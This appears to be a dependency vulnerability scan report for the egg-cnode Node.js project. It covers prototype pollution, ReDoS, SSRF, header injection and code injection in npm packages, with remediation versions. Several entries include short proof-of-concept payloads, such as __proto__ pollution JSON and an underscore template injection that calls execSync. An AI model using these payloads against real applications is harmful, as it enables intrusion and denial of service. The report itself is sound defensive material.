Denial of service (DoS)	Client	This is the most likely attack. DoS occurs when `Object` holds generic functions that are implicitly called for various operations (for example, `toString` and `valueOf`). The attacker pollutes `Object.prototype.someattr` and alters its state to an unexpected value such as `Int` or `Object`. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes `Object.prototype.toString` by defining it as an integer, if the codebase at any point was reliant on `someobject.toString()` it would fail.
Remote Code Execution	Client	Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: `eval(someobject.someattr)`. In this case, if the attacker pollutes `Object.prototype.someattr` they are likely to be able to leverage this in order to execute code.
Property Injection	Client	The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for `someuser.isAdmin`, then when the attacker pollutes `Object.prototype.isAdmin` and sets it to equal `true`, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

Application server
Web server
Web browser

How to prevent

Freeze the prototype— use Object.freeze (Object.prototype).
Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.
As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade mquery to version 3.2.5 or higher.

References

Prototype Pollution vulnerability report

high severity

Regular Expression Denial of Service (ReDoS)

Vulnerable module: hawk
Introduced through: loader-koa@2.0.1

Detailed paths

Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-koa@2.0.1 › less@2.7.3 › request@2.81.0 › hawk@3.1.3

Overview

hawk is a library for the HTTP Hawk Authentication Scheme.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) in header parsing where each added character in the attacker's input increases the computation time exponentially.

Details

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

A The string must start with the letter 'A'
(B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

CCC
CC+C
C+CC
C+C+C.

From there, the number of steps the engine must use to validate a string just continues to grow.

String	Number of C's	Number of steps
ACCCX	3	38
ACCCCX	4	71
ACCCCCX	5	136
ACCCCCCCCCCCCCCX	14	65,553

Remediation

Upgrade hawk to version 9.0.1 or higher.

References

Regular Expression Denial of Service (ReDoS) vulnerability report

high severity

Prototype Pollution

Vulnerable module: mquery
Introduced through: egg-mongoose@2.2.1

Detailed paths

Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › egg-mongoose@2.2.1 › mongoose@4.13.21 › mquery@2.3.3

Remediation: Upgrade to egg-mongoose@3.0.0.

Overview

mquery is an Expressive query building for MongoDB

Affected versions of this package are vulnerable to Prototype Pollution via the merge function within lib/utils.js. Depending on if user input is provided, an attacker can overwrite and pollute the object prototype of a program.

PoC

   require('./env').getCollection(function(err, collection) {
      assert.ifError(err);
      col = collection;
      done();
    });
    var payload = JSON.parse('{"__proto__": {"polluted": "vulnerable"}}');
    var m = mquery(payload);
    console.log({}.polluted);
// The empty object {} will have a property called polluted which will print vulnerable

Details

There are two main ways in which the pollution of prototypes occurs:

Unsafe Object recursive merge
Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type	Origin	Short description
Denial of service (DoS)	Client	This is the most likely attack. DoS occurs when `Object` holds generic functions that are implicitly called for various operations (for example, `toString` and `valueOf`). The attacker pollutes `Object.prototype.someattr` and alters its state to an unexpected value such as `Int` or `Object`. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes `Object.prototype.toString` by defining it as an integer, if the codebase at any point was reliant on `someobject.toString()` it would fail.
Remote Code Execution	Client	Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: `eval(someobject.someattr)`. In this case, if the attacker pollutes `Object.prototype.someattr` they are likely to be able to leverage this in order to execute code.
Property Injection	Client	The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for `someuser.isAdmin`, then when the attacker pollutes `Object.prototype.isAdmin` and sets it to equal `true`, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

Application server
Web server
Web browser

How to prevent

Freeze the prototype— use Object.freeze (Object.prototype).
Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.
As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade mquery to version 3.2.3 or higher.

References

Prototype Pollution vulnerability report

high severity

Prototype Pollution

Vulnerable module: mongoose
Introduced through: egg-mongoose@2.2.1

Detailed paths

Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › egg-mongoose@2.2.1 › mongoose@4.13.21

Remediation: Upgrade to egg-mongoose@3.0.0.

Overview

mongoose is a Mongoose is a MongoDB object modeling tool designed to work in an asynchronous environment.

Affected versions of this package are vulnerable to Prototype Pollution in the Schema.path() function.

Note: CVE-2022-24304 is a duplicate of CVE-2022-2564.

PoC:

const mongoose = require('mongoose');
const schema = new mongoose.Schema();

malicious_payload = '__proto__.toString'

schema.path(malicious_payload, [String])

x = {}
console.log(x.toString())

Details

There are two main ways in which the pollution of prototypes occurs:

Unsafe Object recursive merge
Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type	Origin	Short description
Denial of service (DoS)	Client	This is the most likely attack. DoS occurs when `Object` holds generic functions that are implicitly called for various operations (for example, `toString` and `valueOf`). The attacker pollutes `Object.prototype.someattr` and alters its state to an unexpected value such as `Int` or `Object`. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes `Object.prototype.toString` by defining it as an integer, if the codebase at any point was reliant on `someobject.toString()` it would fail.
Remote Code Execution	Client	Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: `eval(someobject.someattr)`. In this case, if the attacker pollutes `Object.prototype.someattr` they are likely to be able to leverage this in order to execute code.
Property Injection	Client	The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for `someuser.isAdmin`, then when the attacker pollutes `Object.prototype.isAdmin` and sets it to equal `true`, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

Application server
Web server
Web browser

How to prevent

Freeze the prototype— use Object.freeze (Object.prototype).
Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.
As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade mongoose to version 5.13.15, 6.4.6 or higher.

References

Prototype Pollution vulnerability report

medium severity

Server-Side Request Forgery (SSRF)

Vulnerable module: ip
Introduced through: egg@2.37.0

Detailed paths

Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › egg@2.37.0 › egg-security@2.11.0 › ip@1.1.9

Overview

ip is a Node library.

Affected versions of this package are vulnerable to Server-Side Request Forgery (SSRF) via the isPublic function, which identifies some private IP addresses as public addresses due to improper parsing of the input. An attacker can manipulate a system that uses isLoopback(), isPrivate() and isPublic functions to guard outgoing network requests to treat certain IP addresses as globally routable by supplying specially crafted IP addresses.

Note

This vulnerability derived from an incomplete fix for CVE-2023-42282

Remediation

There is no fixed version for ip.

References

Server-Side Request Forgery (SSRF) vulnerability report

medium severity

Server-side Request Forgery (SSRF)

Vulnerable module: request
Introduced through: loader-koa@2.0.1

Detailed paths

Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-koa@2.0.1 › less@2.7.3 › request@2.81.0

Overview

request is a simplified http request client.

Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) due to insufficient checks in the lib/redirect.js file by allowing insecure redirects in the default configuration, via an attacker-controller server that does a cross-protocol redirect (HTTP to HTTPS, or HTTPS to HTTP).

NOTE: request package has been deprecated, so a fix is not expected. See https://github.com/request/request/issues/3142.

Remediation

A fix was pushed into the master branch but not yet published.

References

Server-side Request Forgery (SSRF) vulnerability report

medium severity

Prototype Pollution

Vulnerable module: tough-cookie
Introduced through: loader-koa@2.0.1

Detailed paths

Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-koa@2.0.1 › less@2.7.3 › request@2.81.0 › tough-cookie@2.3.4

Overview

tough-cookie is a RFC6265 Cookies and CookieJar module for Node.js.

Affected versions of this package are vulnerable to Prototype Pollution due to improper handling of Cookies when using CookieJar in rejectPublicSuffixes=false mode. Due to an issue with the manner in which the objects are initialized, an attacker can expose or modify a limited amount of property information on those objects. There is no impact to availability.

PoC

// PoC.js
async function main(){
var tough = require("tough-cookie");
var cookiejar = new tough.CookieJar(undefined,{rejectPublicSuffixes:false});
// Exploit cookie
await cookiejar.setCookie(
  "Slonser=polluted; Domain=__proto__; Path=/notauth",
  "https://__proto__/admin"
);
// normal cookie
var cookie = await cookiejar.setCookie(
  "Auth=Lol; Domain=google.com; Path=/notauth",
  "https://google.com/"
);

//Exploit cookie
var a = {};
console.log(a["/notauth"]["Slonser"])
}
main();

Details

There are two main ways in which the pollution of prototypes occurs:

Unsafe Object recursive merge
Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type	Origin	Short description
Denial of service (DoS)	Client	This is the most likely attack. DoS occurs when `Object` holds generic functions that are implicitly called for various operations (for example, `toString` and `valueOf`). The attacker pollutes `Object.prototype.someattr` and alters its state to an unexpected value such as `Int` or `Object`. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes `Object.prototype.toString` by defining it as an integer, if the codebase at any point was reliant on `someobject.toString()` it would fail.
Remote Code Execution	Client	Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: `eval(someobject.someattr)`. In this case, if the attacker pollutes `Object.prototype.someattr` they are likely to be able to leverage this in order to execute code.
Property Injection	Client	The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for `someuser.isAdmin`, then when the attacker pollutes `Object.prototype.isAdmin` and sets it to equal `true`, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

Application server
Web server
Web browser

How to prevent

Freeze the prototype— use Object.freeze (Object.prototype).
Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.
As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade tough-cookie to version 4.1.3 or higher.

References

Prototype Pollution vulnerability report

medium severity

Prototype Pollution

Vulnerable module: json5
Introduced through: loader-builder@2.7.2 and loader-koa@2.0.1

Detailed paths

Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-builder@2.7.2 › babel-core@6.26.3 › json5@0.5.1
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-koa@2.0.1 › babel-core@6.26.3 › json5@0.5.1
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-builder@2.7.2 › babel-core@6.26.3 › babel-register@6.26.0 › babel-core@6.26.3 › json5@0.5.1
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-koa@2.0.1 › babel-core@6.26.3 › babel-register@6.26.0 › babel-core@6.26.3 › json5@0.5.1

…and 1 more

Overview

Affected versions of this package are vulnerable to Prototype Pollution via the parse method , which does not restrict parsing of keys named __proto__, allowing specially crafted strings to pollute the prototype of the resulting object. This pollutes the prototype of the object returned by JSON5.parse and not the global Object prototype (which is the commonly understood definition of Prototype Pollution). Therefore, the actual impact will depend on how applications utilize the returned object and how they filter unwanted keys.

Details

There are two main ways in which the pollution of prototypes occurs:

Unsafe Object recursive merge
Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type	Origin	Short description
Denial of service (DoS)	Client	This is the most likely attack. DoS occurs when `Object` holds generic functions that are implicitly called for various operations (for example, `toString` and `valueOf`). The attacker pollutes `Object.prototype.someattr` and alters its state to an unexpected value such as `Int` or `Object`. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes `Object.prototype.toString` by defining it as an integer, if the codebase at any point was reliant on `someobject.toString()` it would fail.
Remote Code Execution	Client	Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: `eval(someobject.someattr)`. In this case, if the attacker pollutes `Object.prototype.someattr` they are likely to be able to leverage this in order to execute code.
Property Injection	Client	The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for `someuser.isAdmin`, then when the attacker pollutes `Object.prototype.isAdmin` and sets it to equal `true`, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

Application server
Web server
Web browser

How to prevent

Freeze the prototype— use Object.freeze (Object.prototype).
Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.
As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade json5 to version 1.0.2, 2.2.2 or higher.

References

Prototype Pollution vulnerability report

medium severity

Prototype Pollution

Vulnerable module: hoek
Introduced through: loader-koa@2.0.1

Detailed paths

Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-koa@2.0.1 › less@2.7.3 › request@2.81.0 › hawk@3.1.3 › hoek@2.16.3

Remediation: Open PR to patch hoek@2.16.3.
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-koa@2.0.1 › less@2.7.3 › request@2.81.0 › hawk@3.1.3 › boom@2.10.1 › hoek@2.16.3

Remediation: Open PR to patch hoek@2.16.3.
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-koa@2.0.1 › less@2.7.3 › request@2.81.0 › hawk@3.1.3 › sntp@1.0.9 › hoek@2.16.3

Remediation: Open PR to patch hoek@2.16.3.
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-koa@2.0.1 › less@2.7.3 › request@2.81.0 › hawk@3.1.3 › cryptiles@2.0.5 › boom@2.10.1 › hoek@2.16.3

Remediation: Open PR to patch hoek@2.16.3.

…and 1 more

Overview

hoek is an Utility methods for the hapi ecosystem.

Affected versions of this package are vulnerable to Prototype Pollution. The utilities function allow modification of the Object prototype. If an attacker can control part of the structure passed to this function, they could add or modify an existing property.

PoC by Olivier Arteau (HoLyVieR)

var Hoek = require('hoek');
var malicious_payload = '{"__proto__":{"oops":"It works !"}}';

var a = {};
console.log("Before : " + a.oops);
Hoek.merge({}, JSON.parse(malicious_payload));
console.log("After : " + a.oops);

Details

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

A The string must start with the letter 'A'
(B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

CCC
CC+C
C+CC
C+C+C.

From there, the number of steps the engine must use to validate a string just continues to grow.

String	Number of C's	Number of steps
ACCCX	3	38
ACCCCX	4	71
ACCCCCX	5	136
ACCCCCCCCCCCCCCX	14	65,553

Remediation

Upgrade hoek to version 4.2.1, 5.0.3 or higher.

References

Prototype Pollution vulnerability report

medium severity

HTTP Header Injection

Vulnerable module: nodemailer
Introduced through: nodemailer@4.7.0

Detailed paths

Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › nodemailer@4.7.0

Remediation: Upgrade to nodemailer@6.6.1.

Overview

nodemailer is an Easy as cake e-mail sending from your Node.js applications

Affected versions of this package are vulnerable to HTTP Header Injection if unsanitized user input that may contain newlines and carriage returns is passed into an address object.

PoC:

const userEmail = 'foo@bar.comrnSubject: foobar'; // imagine this comes from e.g. HTTP request params or is otherwise user-controllable
await transporter.sendMail({
from: '...',
to: '...',
replyTo: {
name: 'Customer',
address: userEmail,
},
subject: 'My Subject',
text: message,
});

Remediation

Upgrade nodemailer to version 6.6.1 or higher.

References

HTTP Header Injection vulnerability report

medium severity

Missing Release of Resource after Effective Lifetime

Vulnerable module: inflight
Introduced through: egg-scripts@2.17.0, loader-builder@2.7.2 and others

Detailed paths

Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › egg-scripts@2.17.0 › mz-modules@2.1.0 › glob@7.2.3 › inflight@1.0.6
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-builder@2.7.2 › stylus@0.54.8 › glob@7.2.3 › inflight@1.0.6
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › loader-koa@2.0.1 › stylus@0.54.8 › glob@7.2.3 › inflight@1.0.6
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › egg-scripts@2.17.0 › mz-modules@2.1.0 › rimraf@2.7.1 › glob@7.2.3 › inflight@1.0.6
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › egg@2.37.0 › egg-cluster@1.27.1 › mz-modules@2.1.0 › glob@7.2.3 › inflight@1.0.6
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › egg@2.37.0 › egg-development@2.7.0 › mz-modules@2.1.0 › glob@7.2.3 › inflight@1.0.6
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › egg@2.37.0 › egg-multipart@2.13.1 › mz-modules@2.1.0 › glob@7.2.3 › inflight@1.0.6
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › egg@2.37.0 › egg-core@4.31.0 › globby@10.0.2 › glob@7.2.3 › inflight@1.0.6
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › egg@2.37.0 › egg-cluster@1.27.1 › mz-modules@2.1.0 › rimraf@2.7.1 › glob@7.2.3 › inflight@1.0.6
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › egg@2.37.0 › egg-development@2.7.0 › mz-modules@2.1.0 › rimraf@2.7.1 › glob@7.2.3 › inflight@1.0.6
Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › egg@2.37.0 › egg-multipart@2.13.1 › mz-modules@2.1.0 › rimraf@2.7.1 › glob@7.2.3 › inflight@1.0.6

…and 8 more

Overview

Affected versions of this package are vulnerable to Missing Release of Resource after Effective Lifetime via the makeres function due to improperly deleting keys from the reqs object after execution of callbacks. This behavior causes the keys to remain in the reqs object, which leads to resource exhaustion.

Exploiting this vulnerability results in crashing the node process or in the application crash.

Note: This library is not maintained, and currently, there is no fix for this issue. To overcome this vulnerability, several dependent packages have eliminated the use of this library.

To trigger the memory leak, an attacker would need to have the ability to execute or influence the asynchronous operations that use the inflight module within the application. This typically requires access to the internal workings of the server or application, which is not commonly exposed to remote users. Therefore, “Attack vector” is marked as “Local”.

PoC

const inflight = require('inflight');

function testInflight() {
  let i = 0;
  function scheduleNext() {
    let key = `key-${i++}`;
    const callback = () => {
    };
    for (let j = 0; j < 1000000; j++) {
      inflight(key, callback);
    }

    setImmediate(scheduleNext);
  }


  if (i % 100 === 0) {
    console.log(process.memoryUsage());
  }

  scheduleNext();
}

testInflight();

Remediation

There is no fixed version for inflight.

References

Missing Release of Resource after Effective Lifetime vulnerability report

medium severity

Prototype Pollution

Vulnerable module: mongoose
Introduced through: egg-mongoose@2.2.1

Detailed paths

Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › egg-mongoose@2.2.1 › mongoose@4.13.21

Remediation: Upgrade to egg-mongoose@3.0.0.

Overview

mongoose is a Mongoose is a MongoDB object modeling tool designed to work in an asynchronous environment.

Affected versions of this package are vulnerable to Prototype Pollution. The mongoose.Schema() function is subject to prototype pollution due to the recursively calling of Schema.prototype.add() function to add new items into the schema object. This vulnerability allows modification of the Object prototype.

PoC

mongoose = require('mongoose');
mongoose.version; //'5.12.0'
var malicious_payload = '{"__proto__":{"polluted":"HACKED"}}';
console.log('Before:', {}.polluted); // undefined
mongoose.Schema(JSON.parse(malicious_payload));
console.log('After:', {}.polluted); // HACKED

Details

There are two main ways in which the pollution of prototypes occurs:

Unsafe Object recursive merge
Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type	Origin	Short description
Denial of service (DoS)	Client	This is the most likely attack. DoS occurs when `Object` holds generic functions that are implicitly called for various operations (for example, `toString` and `valueOf`). The attacker pollutes `Object.prototype.someattr` and alters its state to an unexpected value such as `Int` or `Object`. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes `Object.prototype.toString` by defining it as an integer, if the codebase at any point was reliant on `someobject.toString()` it would fail.
Remote Code Execution	Client	Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: `eval(someobject.someattr)`. In this case, if the attacker pollutes `Object.prototype.someattr` they are likely to be able to leverage this in order to execute code.
Property Injection	Client	The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for `someuser.isAdmin`, then when the attacker pollutes `Object.prototype.isAdmin` and sets it to equal `true`, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

Application server
Web server
Web browser

How to prevent

Freeze the prototype— use Object.freeze (Object.prototype).
Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.
As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade mongoose to version 5.12.2 or higher.

References

Prototype Pollution vulnerability report

medium severity

Prototype Pollution

Vulnerable module: mpath
Introduced through: egg-mongoose@2.2.1

Detailed paths

Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › egg-mongoose@2.2.1 › mongoose@4.13.21 › mpath@0.5.1

Remediation: Upgrade to egg-mongoose@3.0.0.

Overview

mpath is a package that gets/sets javascript object values using MongoDB-like path notation.

Affected versions of this package are vulnerable to Prototype Pollution. A type confusion vulnerability can lead to a bypass of CVE-2018-16490. In particular, the condition ignoreProperties.indexOf(parts[i]) !== -1 returns -1 if parts[i] is ['__proto__']. This is because the method that has been called if the input is an array is Array.prototype.indexOf() and not String.prototype.indexOf(). They behave differently depending on the type of the input.

PoC

const mpath = require('mpath');
// mpath.set(['__proto__', 'polluted'], 'yes', {});
// console.log(polluted); // ReferenceError: polluted is not defined

mpath.set([['__proto__'], 'polluted'], 'yes', {});
console.log(polluted); // yes

Details

There are two main ways in which the pollution of prototypes occurs:

Unsafe Object recursive merge
Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type	Origin	Short description
Denial of service (DoS)	Client	This is the most likely attack. DoS occurs when `Object` holds generic functions that are implicitly called for various operations (for example, `toString` and `valueOf`). The attacker pollutes `Object.prototype.someattr` and alters its state to an unexpected value such as `Int` or `Object`. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes `Object.prototype.toString` by defining it as an integer, if the codebase at any point was reliant on `someobject.toString()` it would fail.
Remote Code Execution	Client	Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: `eval(someobject.someattr)`. In this case, if the attacker pollutes `Object.prototype.someattr` they are likely to be able to leverage this in order to execute code.
Property Injection	Client	The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for `someuser.isAdmin`, then when the attacker pollutes `Object.prototype.isAdmin` and sets it to equal `true`, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

Application server
Web server
Web browser

How to prevent

Freeze the prototype— use Object.freeze (Object.prototype).
Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.
As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade mpath to version 0.8.4 or higher.

References

Prototype Pollution vulnerability report

medium severity

Arbitrary Code Injection

Vulnerable module: underscore
Introduced through: nodemailer-smtp-transport@2.7.4

Detailed paths

Introduced through: cnode@cnodejs/egg-cnode#6f9511e60481e4cc632dd7f598c16e99fb919eaf › nodemailer-smtp-transport@2.7.4 › smtp-connection@2.12.0 › httpntlm@1.6.1 › underscore@1.7.0

Overview

underscore is a JavaScript's functional programming helper library.

Affected versions of this package are vulnerable to Arbitrary Code Injection via the template function, particularly when the variable option is taken from _.templateSettings as it is not sanitized.

PoC

const _ = require('underscore');
_.templateSettings.variable = "a = this.process.mainModule.require('child_process').execSync('touch HELLO')";
const t = _.template("")();

Remediation

